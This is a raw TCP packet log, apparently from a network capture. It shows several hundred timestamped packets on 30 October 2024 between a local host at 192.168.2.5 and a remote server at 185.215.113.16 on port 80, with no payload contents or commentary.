Oct 30, 2024 00:20:19.738166094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738169909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738198996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738233089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738243103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738265991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738298893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738332987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738337040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738364935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738398075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738401890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738430023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738440990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738464117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738497972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738503933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738531113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738563061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738564014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738596916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738629103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738656998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738663912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738697052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738698006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738729954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738763094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738775969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738795996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738827944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738830090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738861084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738893986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738903999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738928080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738960028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738966942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738992929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739025116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739041090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739058971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739094973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739128113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739134073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739160061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739192963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739197016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739226103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739227057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739259005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739290953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739337921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739340067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739372969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739397049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739407063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739439964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739470959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739473104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739506006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739507914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739538908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739572048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739576101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739603996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739638090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739670038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739675999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739701986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739736080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739751101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739768982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739773989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739800930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739834070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739837885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739866972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739900112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739908934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.739934921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739968061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.739996910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740001917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740034103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740037918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740067005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740106106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740139008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740151882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740170956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740180969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740204096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740236998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740272045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740274906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740303993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740335941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740339041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740369081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740370035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740401983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740436077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740446091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740468979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740502119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740535021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740540028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740567923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740583897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740598917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740602970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740613937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740613937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740629911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740647078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740658998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740660906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740677118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740681887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740691900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740706921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740721941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740727901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740739107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740741014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740755081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740770102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740784883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740784883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740799904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740804911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740814924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740829945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740845919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740850925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740860939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740861893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740875959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740890980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740895033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740906000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740921974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740936995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740938902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740953922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740956068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.740968943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740986109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.740999937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741002083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741015911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741018057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741030931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741046906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741050005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741063118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741079092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741094112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741095066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741111994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741117954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741132021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741148949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741159916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741163969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741180897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741183043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741197109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741214037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741218090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741229057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741242886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741250038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741256952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741272926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741278887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741286993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741302013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741302013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741318941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741333961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741341114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.741350889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.741380930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.793878078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.984193087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990325928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990362883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990377903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990396023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990410089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990421057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990427017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990442991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990456104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990478039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990502119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990515947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990531921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990546942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990552902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990564108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990566969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990578890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990593910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990602016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990608931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990623951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990629911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990643024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990657091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990667105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990680933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990703106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990717888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990726948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990732908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990742922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990747929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990768909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990768909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990782976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990798950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990813017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990813971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990827084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990833998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990842104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990864992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990874052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990880966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990895033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990897894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990910053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990923882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990928888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990947008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990962982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990967989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.990977049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.990991116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991005898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991019964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991034031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991034031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991049051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991055965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991064072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991086960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991096020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991101027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991116047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991130114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991133928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991144896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991149902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991159916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991175890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991188049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991192102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991206884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991219044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991234064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991257906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991271973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991274118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991286039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991300106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991307020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991323948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991338968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991348028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991355896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991370916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991384983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991384983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991403103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991409063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991420031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991422892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991441011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991455078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991456032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991472960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991487026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991503000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991507053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991518021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991529942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991532087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991548061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991554976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991566896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991580963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991580963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991596937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991610050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991615057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991626024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991641998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991643906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991657019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991672039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991681099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991688967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991703033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991708040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991718054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991731882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991748095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991750956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991761923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991774082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991777897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991791964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991801023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991808891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991822958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991827965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991838932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991852999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991863012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.991869926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.991889000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.992036104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992049932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992064953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992068052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.992079973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992099047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.992110968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992131948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992146969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992151022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.992161036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992177010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992191076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.992194891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.992206097 CET	80	49712	185.215.113.16	192.168.2.5
